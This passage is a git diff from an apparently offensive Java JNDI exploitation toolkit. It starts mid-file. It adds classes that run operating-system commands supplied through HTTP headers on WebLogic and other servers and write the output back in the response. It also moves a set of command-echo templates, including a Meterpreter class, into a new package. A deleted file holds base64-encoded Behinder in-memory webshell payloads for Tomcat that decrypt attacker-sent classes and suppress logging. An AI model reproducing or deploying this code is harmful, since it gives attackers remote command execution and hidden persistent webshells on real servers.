0; i--) { + try { + field.set((Object) fileDescriptor, list.get(i)); + Object socketOutputStream = constructor2.newInstance(new Object[]{constructor3.newInstance(new Object[]{fileDescriptor})}); + String[] cmd = new String[]{"cmd", "/C", "whoami"}; + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next().trim(); + String result = "HTTP/1.1 200 OK\nConnection: close\nContent-Length: " + (res.length()) + "\n\n" + res + "\n\n"; + write.invoke(socketOutputStream, new Object[]{result.getBytes()}); + break; + } catch (Exception e) { + //pass + } + } + } + } catch (Exception ignored) { + } + } + +} diff --git a/src/main/java/com/qi4l/jndi/template/echoConstructor/CweblogicEcho.java b/src/main/java/com/qi4l/jndi/template/echoConstructor/CweblogicEcho.java new file mode 100644 index 00000000..add3166a --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echoConstructor/CweblogicEcho.java @@ -0,0 +1,39 @@ +package com.qi4l.jndi.template.echoConstructor; + +public class CweblogicEcho { + + public static String CMD_HEADER; + + public CweblogicEcho() { + try { + weblogic.work.WorkAdapter adapter = ((weblogic.work.ExecuteThread) Thread.currentThread()).getCurrentWork(); + if (adapter.getClass().getName().endsWith("ServletRequestImpl")) { + String cmd = (String) adapter.getClass().getMethod("getHeader", String.class).invoke(adapter, CMD_HEADER); + + if (cmd != null && !cmd.isEmpty()) { + String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) adapter.getClass().getMethod("getResponse").invoke(adapter); + res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); + res.getServletOutputStream().flush(); + res.getWriter().write(""); + } + } else { + java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler"); + field.setAccessible(true); + Object obj = field.get(adapter); + obj = obj.getClass().getMethod("getServletRequest").invoke(obj); + String cmd = (String) obj.getClass().getMethod("getHeader", String.class).invoke(obj, "cmd"); + + if (cmd != null && !cmd.isEmpty()) { + String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) obj.getClass().getMethod("getResponse").invoke(obj); + res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); + res.getServletOutputStream().flush(); + res.getWriter().write(""); + } + } + } catch (Exception ignored) { + } + } + +} diff --git a/src/main/java/com/qi4l/jndi/template/echo/AllEcho.java b/src/main/java/com/qi4l/jndi/template/echoStatic/AllEcho.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/echo/AllEcho.java rename to src/main/java/com/qi4l/jndi/template/echoStatic/AllEcho.java index 7756d9b1..d4ec8ecd 100644 --- a/src/main/java/com/qi4l/jndi/template/echo/AllEcho.java +++ b/src/main/java/com/qi4l/jndi/template/echoStatic/AllEcho.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.echo; +package com.qi4l.jndi.template.echoStatic; public class AllEcho { public static String CMD_HEADER = "cmd"; diff --git a/src/main/java/com/qi4l/jndi/template/echo/JbossEcho.java b/src/main/java/com/qi4l/jndi/template/echoStatic/JbossEcho.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/echo/JbossEcho.java rename to src/main/java/com/qi4l/jndi/template/echoStatic/JbossEcho.java index 448347db..4b6e486d 100644 --- a/src/main/java/com/qi4l/jndi/template/echo/JbossEcho.java +++ b/src/main/java/com/qi4l/jndi/template/echoStatic/JbossEcho.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.echo; +package com.qi4l.jndi.template.echoStatic; public class JbossEcho { diff --git a/src/main/java/com/qi4l/jndi/template/echo/JettyEcho.java b/src/main/java/com/qi4l/jndi/template/echoStatic/JettyEcho.java similarity index 97% rename from src/main/java/com/qi4l/jndi/template/echo/JettyEcho.java rename to src/main/java/com/qi4l/jndi/template/echoStatic/JettyEcho.java index 20c42ab5..7b172b34 100644 --- a/src/main/java/com/qi4l/jndi/template/echo/JettyEcho.java +++ b/src/main/java/com/qi4l/jndi/template/echoStatic/JettyEcho.java @@ -1,10 +1,10 @@ -package com.qi4l.jndi.template.echo; +package com.qi4l.jndi.template.echoStatic; import java.io.ByteArrayOutputStream; public class JettyEcho { - public static String CMD_HEADER = "cmd"; + public static String CMD_HEADER; static { try { diff --git a/src/main/java/com/qi4l/jndi/template/echo/LinuxEcho1.java b/src/main/java/com/qi4l/jndi/template/echoStatic/LinuxEcho1.java similarity index 97% rename from src/main/java/com/qi4l/jndi/template/echo/LinuxEcho1.java rename to src/main/java/com/qi4l/jndi/template/echoStatic/LinuxEcho1.java index c1ad7038..95268b8a 100644 --- a/src/main/java/com/qi4l/jndi/template/echo/LinuxEcho1.java +++ b/src/main/java/com/qi4l/jndi/template/echoStatic/LinuxEcho1.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.echo; +package com.qi4l.jndi.template.echoStatic; public class LinuxEcho1 { diff --git a/src/main/java/com/qi4l/jndi/template/echo/LinuxEcho2.java b/src/main/java/com/qi4l/jndi/template/echoStatic/LinuxEcho2.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/echo/LinuxEcho2.java rename to src/main/java/com/qi4l/jndi/template/echoStatic/LinuxEcho2.java index e19c52df..dab96d2e 100644 --- a/src/main/java/com/qi4l/jndi/template/echo/LinuxEcho2.java +++ b/src/main/java/com/qi4l/jndi/template/echoStatic/LinuxEcho2.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.echo; +package com.qi4l.jndi.template.echoStatic; public class LinuxEcho2 { diff --git a/src/main/java/com/qi4l/jndi/template/echo/Meterpreter.java b/src/main/java/com/qi4l/jndi/template/echoStatic/Meterpreter.java similarity index 99% rename from src/main/java/com/qi4l/jndi/template/echo/Meterpreter.java rename to src/main/java/com/qi4l/jndi/template/echoStatic/Meterpreter.java index 48905c1b..9bde9e84 100644 --- a/src/main/java/com/qi4l/jndi/template/echo/Meterpreter.java +++ b/src/main/java/com/qi4l/jndi/template/echoStatic/Meterpreter.java @@ -1,7 +1,7 @@ /* * Decompiled with CFR 0.152. */ -package com.qi4l.jndi.template.echo; +package com.qi4l.jndi.template.echoStatic; import java.io.DataInputStream; import java.io.InputStream; diff --git a/src/main/java/com/qi4l/jndi/template/echo/ResinEcho.java b/src/main/java/com/qi4l/jndi/template/echoStatic/ResinEcho.java similarity index 96% rename from src/main/java/com/qi4l/jndi/template/echo/ResinEcho.java rename to src/main/java/com/qi4l/jndi/template/echoStatic/ResinEcho.java index 29b7bbaa..cf811623 100644 --- a/src/main/java/com/qi4l/jndi/template/echo/ResinEcho.java +++ b/src/main/java/com/qi4l/jndi/template/echoStatic/ResinEcho.java @@ -1,8 +1,8 @@ -package com.qi4l.jndi.template.echo; +package com.qi4l.jndi.template.echoStatic; public class ResinEcho { - public static String CMD_HEADER = "cmd"; + public static String CMD_HEADER; static { try { diff --git a/src/main/java/com/qi4l/jndi/template/echo/SpringEcho.java b/src/main/java/com/qi4l/jndi/template/echoStatic/SpringEcho.java similarity index 61% rename from src/main/java/com/qi4l/jndi/template/echo/SpringEcho.java rename to src/main/java/com/qi4l/jndi/template/echoStatic/SpringEcho.java index da057aa8..6d9c74cb 100644 --- a/src/main/java/com/qi4l/jndi/template/echo/SpringEcho.java +++ b/src/main/java/com/qi4l/jndi/template/echoStatic/SpringEcho.java @@ -1,16 +1,10 @@ -package com.qi4l.jndi.template.echo; +package com.qi4l.jndi.template.echoStatic; -import com.sun.org.apache.xalan.internal.xsltc.DOM; -import com.sun.org.apache.xalan.internal.xsltc.TransletException; -import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; -import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; -import com.sun.org.apache.xml.internal.serializer.SerializationHandler; - -public class SpringEcho extends AbstractTranslet { +public class SpringEcho { public static String CMD_HEADER; - public SpringEcho() { + static { try { org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes(); @@ -31,13 +25,4 @@ public static java.io.ByteArrayOutputStream q(String cmd) { return null; } - @Override - public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { - - } - - @Override - public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { - - } } diff --git a/src/main/java/com/qi4l/jndi/template/echo/TomcatEcho.java b/src/main/java/com/qi4l/jndi/template/echoStatic/TomcatEcho.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/echo/TomcatEcho.java rename to src/main/java/com/qi4l/jndi/template/echoStatic/TomcatEcho.java index f4c6912b..89eb68c4 100644 --- a/src/main/java/com/qi4l/jndi/template/echo/TomcatEcho.java +++ b/src/main/java/com/qi4l/jndi/template/echoStatic/TomcatEcho.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.echo; +package com.qi4l.jndi.template.echoStatic; public class TomcatEcho { diff --git a/src/main/java/com/qi4l/jndi/template/echo/WindowsEcho.java b/src/main/java/com/qi4l/jndi/template/echoStatic/WindowsEcho.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/echo/WindowsEcho.java rename to src/main/java/com/qi4l/jndi/template/echoStatic/WindowsEcho.java index 7bd71144..679fb173 100644 --- a/src/main/java/com/qi4l/jndi/template/echo/WindowsEcho.java +++ b/src/main/java/com/qi4l/jndi/template/echoStatic/WindowsEcho.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.echo; +package com.qi4l.jndi.template.echoStatic; public class WindowsEcho { diff --git a/src/main/java/com/qi4l/jndi/template/echo/weblogicEcho.java b/src/main/java/com/qi4l/jndi/template/echoStatic/weblogicEcho.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/echo/weblogicEcho.java rename to src/main/java/com/qi4l/jndi/template/echoStatic/weblogicEcho.java index 0a643213..05905fe9 100644 --- a/src/main/java/com/qi4l/jndi/template/echo/weblogicEcho.java +++ b/src/main/java/com/qi4l/jndi/template/echoStatic/weblogicEcho.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.echo; +package com.qi4l.jndi.template.echoStatic; public class weblogicEcho { diff --git a/src/main/java/com/qi4l/jndi/template/memshell/shell/MemShellPayloads.java b/src/main/java/com/qi4l/jndi/template/memshell/shell/MemShellPayloads.java deleted file mode 100644 index f3ea8f89..00000000 --- a/src/main/java/com/qi4l/jndi/template/memshell/shell/MemShellPayloads.java +++ /dev/null @@ -1,129 +0,0 @@ -package com.qi4l.jndi.template.memshell.shell; - -public class MemShellPayloads { - - public static String BEHINDER_SHELL_FOR_TOMCAT_OBSCURE = "ew0KCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QgIHJlcXVlc3QgID0gKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlcXVlc3QpICQxOw0KCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlc3BvbnNlIHJlc3BvbnNlID0gKGphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2VydmxldFJlc3BvbnNlKSAkMjsNCglPYmplY3QgbGFzdFJlcXVlc3QgID0gcmVxdWVzdDsNCglPYmplY3QgbGFzdFJlc3BvbnNlID0gcmVzcG9uc2U7DQoJdHJ5IHsNCgkJaWYgKHJlcXVlc3QuZ2V0SGVhZGVyKCJSZWZlcmVyIikuZXF1YWxzSWdub3JlQ2FzZSgiaHR0cHM6Ly9RSTRMLmNuLyIpKSB7DQoJCQlpZiAoIShsYXN0UmVxdWVzdCBpbnN0YW5jZW9mIG9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlcXVlc3RGYWNhZGUpKSB7DQoJCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIGdldFJlcXVlc3QgPSBqYXZheC5zZXJ2bGV0LlNlcnZsZXRSZXF1ZXN0V3JhcHBlci5jbGFzcy5nZXRNZXRob2QoImdldFJlcXVlc3QiLG51bGwpOw0KCQkJCWxhc3RSZXF1ZXN0ID0gZ2V0UmVxdWVzdC5pbnZva2UocmVxdWVzdCxudWxsKTsNCgkJCQl3aGlsZSAodHJ1ZSkgew0KCQkJCQlpZiAobGFzdFJlcXVlc3QgaW5zdGFuY2VvZiBvcmcuYXBhY2hlLmNhdGFsaW5hLmNvbm5lY3Rvci5SZXF1ZXN0RmFjYWRlKSBicmVhazsNCgkJCQkJbGFzdFJlcXVlc3QgPSBnZXRSZXF1ZXN0Lmludm9rZShsYXN0UmVxdWVzdCxudWxsKTsNCgkJCQl9DQoJCQl9DQoJCQlpZiAoIShsYXN0UmVzcG9uc2UgaW5zdGFuY2VvZiBvcmcuYXBhY2hlLmNhdGFsaW5hLmNvbm5lY3Rvci5SZXNwb25zZUZhY2FkZSkpIHsNCgkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZ2V0UmVzcG9uc2UgPSBqYXZheC5zZXJ2bGV0LlNlcnZsZXRSZXNwb25zZVdyYXBwZXIuY2xhc3MuZ2V0TWV0aG9kKCJnZXRSZXNwb25zZSIsbnVsbCk7DQoJCQkJbGFzdFJlc3BvbnNlID0gZ2V0UmVzcG9uc2UuaW52b2tlKHJlc3BvbnNlLG51bGwpOw0KCQkJCXdoaWxlICh0cnVlKSB7DQoJCQkJCWlmIChsYXN0UmVzcG9uc2UgaW5zdGFuY2VvZiBvcmcuYXBhY2hlLmNhdGFsaW5hLmNvbm5lY3Rvci5SZXNwb25zZUZhY2FkZSkgYnJlYWs7DQoJCQkJCWxhc3RSZXNwb25zZSA9IGdldFJlc3BvbnNlLmludm9rZShsYXN0UmVzcG9uc2UsbnVsbCk7DQoJCQkJfQ0KCQkJfQ0KCQkJaWYgKHJlcXVlc3QuZ2V0TWV0aG9kKCkuZXF1YWxzKCJQT1NUIikpIHsNCgkJCQlqYXZhLnV0aWwuSGFzaE1hcCAgICAgcGFnZUNvbnRleHQgPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsNCgkJCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlc3Npb24gc2Vzc2lvbiAgICAgPSAoKG9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlcXVlc3RGYWNhZGUpIGxhc3RSZXF1ZXN0KS5nZXRTZXNzaW9uKCk7DQoJCQkJcGFnZUNvbnRleHQucHV0KCJyZXF1ZXN0IiwgbGFzdFJlcXVlc3QpOw0KCQkJCXBhZ2VDb250ZXh0LnB1dCgicmVzcG9uc2UiLCBsYXN0UmVzcG9uc2UpOw0KCQkJCXBhZ2VDb250ZXh0LnB1dCgic2Vzc2lvbiIsIHNlc3Npb24pOw0KCQkJCWphdmEubGFuZy5TdHJpbmdCdWlsZGVyIHBheWxvYWQgPSBuZXcgamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKTsNCgkJCQlpZiAocGF5bG9hZCA9PSBudWxsIHx8IChwYXlsb2FkLmxlbmd0aCgpID09IDApKSB7DQoJCQkJCXBheWxvYWQgPSBuZXcgamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIoKTsNCgkJCQkJb3JnLmFwYWNoZS5jYXRhbGluYS5jb25uZWN0b3IuUmVxdWVzdCByZWFsUmVxdWVzdCA9IChvcmcuYXBhY2hlLmNhdGFsaW5hLmNvbm5lY3Rvci5SZXF1ZXN0KSBnZXRGaWVsZFZhbHVlKGxhc3RSZXF1ZXN0LCJyZXF1ZXN0Iik7DQoJCQkJCW9yZy5hcGFjaGUuY295b3RlLlJlcXVlc3QgY295b3RlUmVxdWVzdCA9IChvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0KSBnZXRGaWVsZFZhbHVlKHJlYWxSZXF1ZXN0LCJjb3lvdGVSZXF1ZXN0Iik7DQoJCQkJCW9yZy5hcGFjaGUudG9tY2F0LnV0aWwuaHR0cC5QYXJhbWV0ZXJzICAgIHBhcmFtZXRlcnMgPSBjb3lvdGVSZXF1ZXN0LmdldFBhcmFtZXRlcnMoKTsNCgkJCQkJamF2YS51dGlsLkxpbmtlZEhhc2hNYXAgcGFyYW1NYXAgICA9IChqYXZhLnV0aWwuTGlua2VkSGFzaE1hcCkgZ2V0RmllbGRWYWx1ZShwYXJhbWV0ZXJzLCJwYXJhbUhhc2hWYWx1ZXMiKTsNCgkJCQkJamF2YS51dGlsLkl0ZXJhdG9yIGl0ZXJhdG9yID0gcGFyYW1NYXAuZW50cnlTZXQoKS5pdGVyYXRvcigpOw0KCQkJCQl3aGlsZSAoaXRlcmF0b3IuaGFzTmV4dCgpKSB7DQoJCQkJCQlqYXZhLnV0aWwuTWFwLkVudHJ5IG5leHQgICAgICAgICAgID0gaXRlcmF0b3IubmV4dCgpOw0KCQkJCQkJU3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBhcmFtS2V5ICAgICAgID0gbmV4dC5nZXRLZXkoKS50b1N0cmluZygpLnJlcGxhY2VBbGwoIiAiLCAiKyIpOw0KCQkJCQkJamF2YS51dGlsLkFycmF5TGlzdCAgICAgICAgICAgICAgICAgICAgcGFyYW1WYWx1ZUxpc3QgPSAoamF2YS51dGlsLkFycmF5TGlzdCluZXh0LmdldFZhbHVlKCk7DQoJCQkJCQlpZiAocGFyYW1WYWx1ZUxpc3Quc2l6ZSgpID09IDApIHsNCgkJCQkJCQlwYXlsb2FkLmFwcGVuZChwYXJhbUtleSk7DQoJCQkJCQl9IGVsc2Ugew0KCQkJCQkJCXBheWxvYWQuYXBwZW5kKHBhcmFtS2V5KS5hcHBlbmQoIj0iKS5hcHBlbmQocGFyYW1WYWx1ZUxpc3QuZ2V0KDApKTsNCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCX0NCgkJCQlub0xvZyhsYXN0UmVxdWVzdCk7DQoJCQkJU3RyaW5nIGsgPSAiZjM1OTc0MGJkMWNkYTk5NCI7DQoJCQkJc2Vzc2lvbi5wdXRWYWx1ZSgidSIsIGspOw0KCQkJCWphdmF4LmNyeXB0by5DaXBoZXIgYyA9IGphdmF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdGFuY2UoIkFFUyIpOw0KCQkJCWMuaW5pdCgyLCBuZXcgamF2YXguY3J5cHRvLnNwZWMuU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksICJBRVMiKSk7DQoJCQkJYnl0ZVtdIGV2aWxjbGFzc19ieXRlID0gYy5kb0ZpbmFsKGJhc2U2NERlY29kZShwYXlsb2FkLnRvU3RyaW5nKCkpKTsNCgkJCQlzdW4ubWlzYy5VbnNhZmUgdW5zYWZlICAgICAgICAgPSBnZXRVbnNhZmUoKTsNCgkJCQlDbGFzcyBldmlsY2xhc3MgPXVuc2FmZS5kZWZpbmVBbm9ueW1vdXNDbGFzcyhPYmplY3QuY2xhc3MsIGV2aWxjbGFzc19ieXRlLCBudWxsKTsNCgkJCQlldmlsY2xhc3MubmV3SW5zdGFuY2UoKS5lcXVhbHMocGFnZUNvbnRleHQpOw0KCQkJfQ0KCQl9DQoJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsNCgl9DQp9"; - - public static String BEHINDER_SHELL_FOR_TOMCAT = "ew0KCQlqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0ICByZXF1ZXN0ICA9IChqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0KSAkMTsNCgkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgPSAoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UpICQyOw0KCQlPYmplY3QgbGFzdFJlcXVlc3QgID0gcmVxdWVzdDsNCgkJT2JqZWN0IGxhc3RSZXNwb25zZSA9IHJlc3BvbnNlOw0KCQl0cnkgew0KCQkJaWYgKHJlcXVlc3QuZ2V0SGVhZGVyKCJSZWZlcmVyIikuZXF1YWxzSWdub3JlQ2FzZSgiaHR0cHM6Ly9RSTRMLmNuLyIpKSB7DQoJCQkJaWYgKCEobGFzdFJlcXVlc3QgaW5zdGFuY2VvZiBvcmcuYXBhY2hlLmNhdGFsaW5hLmNvbm5lY3Rvci5SZXF1ZXN0RmFjYWRlKSkgew0KCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZ2V0UmVxdWVzdCA9IGphdmF4LnNlcnZsZXQuU2VydmxldFJlcXVlc3RXcmFwcGVyLmNsYXNzLmdldE1ldGhvZCgiZ2V0UmVxdWVzdCIsbnVsbCk7DQoJCQkJCWxhc3RSZXF1ZXN0ID0gZ2V0UmVxdWVzdC5pbnZva2UocmVxdWVzdCxudWxsKTsNCgkJCQkJd2hpbGUgKHRydWUpIHsNCgkJCQkJCWlmIChsYXN0UmVxdWVzdCBpbnN0YW5jZW9mIG9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlcXVlc3RGYWNhZGUpIGJyZWFrOw0KCQkJCQkJbGFzdFJlcXVlc3QgPSBnZXRSZXF1ZXN0Lmludm9rZShsYXN0UmVxdWVzdCxudWxsKTsNCgkJCQkJfQ0KCQkJCX0NCgkJCQlpZiAoIShsYXN0UmVzcG9uc2UgaW5zdGFuY2VvZiBvcmcuYXBhY2hlLmNhdGFsaW5hLmNvbm5lY3Rvci5SZXNwb25zZUZhY2FkZSkpIHsNCgkJCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIGdldFJlc3BvbnNlID0gamF2YXguc2VydmxldC5TZXJ2bGV0UmVzcG9uc2VXcmFwcGVyLmNsYXNzLmdldE1ldGhvZCgiZ2V0UmVzcG9uc2UiLG51bGwpOw0KCQkJCQlsYXN0UmVzcG9uc2UgPSBnZXRSZXNwb25zZS5pbnZva2UocmVzcG9uc2UsbnVsbCk7DQoJCQkJCXdoaWxlICh0cnVlKSB7DQoJCQkJCQlpZiAobGFzdFJlc3BvbnNlIGluc3RhbmNlb2Ygb3JnLmFwYWNoZS5jYXRhbGluYS5jb25uZWN0b3IuUmVzcG9uc2VGYWNhZGUpIGJyZWFrOw0KCQkJCQkJbGFzdFJlc3BvbnNlID0gZ2V0UmVzcG9uc2UuaW52b2tlKGxhc3RSZXNwb25zZSxudWxsKTsNCgkJCQkJfQ0KCQkJCX0NCgkJCQlpZiAocmVxdWVzdC5nZXRNZXRob2QoKS5lcXVhbHMoIlBPU1QiKSkgew0KCQkJCWphdmEudXRpbC5IYXNoTWFwICAgICBwYWdlQ29udGV4dCA9IG5ldyBqYXZhLnV0aWwuSGFzaE1hcCgpOw0KCQkJCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2Vzc2lvbiBzZXNzaW9uICAgICA9ICgob3JnLmFwYWNoZS5jYXRhbGluYS5jb25uZWN0b3IuUmVxdWVzdEZhY2FkZSkgbGFzdFJlcXVlc3QpLmdldFNlc3Npb24oKTsNCgkJCQlwYWdlQ29udGV4dC5wdXQoInJlcXVlc3QiLCBsYXN0UmVxdWVzdCk7DQoJCQkJcGFnZUNvbnRleHQucHV0KCJyZXNwb25zZSIsIGxhc3RSZXNwb25zZSk7DQoJCQkJcGFnZUNvbnRleHQucHV0KCJzZXNzaW9uIiwgc2Vzc2lvbik7DQoJCQkJamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIgcGF5bG9hZCA9IG5ldyBqYXZhLmxhbmcuU3RyaW5nQnVpbGRlcihyZXF1ZXN0LmdldFJlYWRlcigpLnJlYWRMaW5lKCkpOw0KCQkJCWlmIChwYXlsb2FkID09IG51bGwgfHwgKHBheWxvYWQubGVuZ3RoKCkgPT0gMCkpIHsNCgkJCQkJcGF5bG9hZCA9IG5ldyBqYXZhLmxhbmcuU3RyaW5nQnVpbGRlcigpOw0KDQoJCQkJCW9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlcXVlc3QgcmVhbFJlcXVlc3QgPSAob3JnLmFwYWNoZS5jYXRhbGluYS5jb25uZWN0b3IuUmVxdWVzdCkgZ2V0RmllbGRWYWx1ZShsYXN0UmVxdWVzdCwicmVxdWVzdCIpOw0KCQkJCQlvcmcuYXBhY2hlLmNveW90ZS5SZXF1ZXN0IGNveW90ZVJlcXVlc3QgPSAob3JnLmFwYWNoZS5jb3lvdGUuUmVxdWVzdCkgZ2V0RmllbGRWYWx1ZShyZWFsUmVxdWVzdCwiY295b3RlUmVxdWVzdCIpOw0KCQkJCQlvcmcuYXBhY2hlLnRvbWNhdC51dGlsLmh0dHAuUGFyYW1ldGVycyAgICBwYXJhbWV0ZXJzID0gY295b3RlUmVxdWVzdC5nZXRQYXJhbWV0ZXJzKCk7DQoJCQkJCWphdmEudXRpbC5MaW5rZWRIYXNoTWFwIHBhcmFtTWFwICAgPSAoamF2YS51dGlsLkxpbmtlZEhhc2hNYXApIGdldEZpZWxkVmFsdWUocGFyYW1ldGVycywicGFyYW1IYXNoVmFsdWVzIik7DQoJCQkJCWphdmEudXRpbC5JdGVyYXRvciBpdGVyYXRvciA9IHBhcmFtTWFwLmVudHJ5U2V0KCkuaXRlcmF0b3IoKTsNCgkJCQkJd2hpbGUgKGl0ZXJhdG9yLmhhc05leHQoKSkgew0KCQkJCQkJamF2YS51dGlsLk1hcC5FbnRyeSBuZXh0ICAgICAgICAgICA9IGl0ZXJhdG9yLm5leHQoKTsNCgkJCQkJCVN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwYXJhbUtleSAgICAgICA9IG5leHQuZ2V0S2V5KCkudG9TdHJpbmcoKS5yZXBsYWNlQWxsKCIgIiwgIisiKTsNCgkJCQkJCWphdmEudXRpbC5BcnJheUxpc3QgICAgICAgICAgICAgICAgICAgIHBhcmFtVmFsdWVMaXN0ID0gKGphdmEudXRpbC5BcnJheUxpc3QpbmV4dC5nZXRWYWx1ZSgpOw0KCQkJCQkJaWYgKHBhcmFtVmFsdWVMaXN0LnNpemUoKSA9PSAwKSB7DQoJCQkJCQkJcGF5bG9hZC5hcHBlbmQocGFyYW1LZXkpOw0KCQkJCQkJfSBlbHNlIHsNCgkJCQkJCQlwYXlsb2FkLmFwcGVuZChwYXJhbUtleSkuYXBwZW5kKCI9IikuYXBwZW5kKHBhcmFtVmFsdWVMaXN0LmdldCgwKSk7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCQkJbm9Mb2cobGFzdFJlcXVlc3QpOw0KCQkJCVN0cmluZyBrID0gImYzNTk3NDBiZDFjZGE5OTQiOw0KCQkJCXNlc3Npb24ucHV0VmFsdWUoInUiLCBrKTsNCgkJCQlqYXZheC5jcnlwdG8uQ2lwaGVyIGMgPSBqYXZheC5jcnlwdG8uQ2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTsNCgkJCQljLmluaXQoMiwgbmV3IGphdmF4LmNyeXB0by5zcGVjLlNlY3JldEtleVNwZWMoay5nZXRCeXRlcygpLCAiQUVTIikpOw0KCQkJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBtZXRob2QgPSBDbGFzcy5mb3JOYW1lKCJqYXZhLmxhbmcuQ2xhc3NMb2FkZXIiKS5nZXREZWNsYXJlZE1ldGhvZCgiZGVmaW5lQ2xhc3MiLCBuZXcgQ2xhc3NbXXtieXRlW10uY2xhc3MsIGludC5jbGFzcywgaW50LmNsYXNzfSk7DQoJCQkJbWV0aG9kLnNldEFjY2Vzc2libGUodHJ1ZSk7DQoJCQkJYnl0ZVtdIGV2aWxjbGFzc19ieXRlID0gYy5kb0ZpbmFsKGJhc2U2NERlY29kZShwYXlsb2FkLnRvU3RyaW5nKCkpKTsNCgkJCQlDbGFzcyAgZXZpbGNsYXNzICAgICAgPSAoQ2xhc3MpIG1ldGhvZC5pbnZva2UoVGhyZWFkLmN1cnJlbnRUaHJlYWQoKS5nZXRDb250ZXh0Q2xhc3NMb2FkZXIoKSxuZXcgT2JqZWN0W117ZXZpbGNsYXNzX2J5dGUsIEludGVnZXIudmFsdWVPZigwKSwgSW50ZWdlci52YWx1ZU9mKGV2aWxjbGFzc19ieXRlLmxlbmd0aCl9KTsNCgkJCQlldmlsY2xhc3MubmV3SW5zdGFuY2UoKS5lcXVhbHMocGFnZUNvbnRleHQpOw0KCQkJCX0NCgkJCX0NCgkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsNCgkJfQ0KCX0="; - - public static String BEHINDER_SHELL = 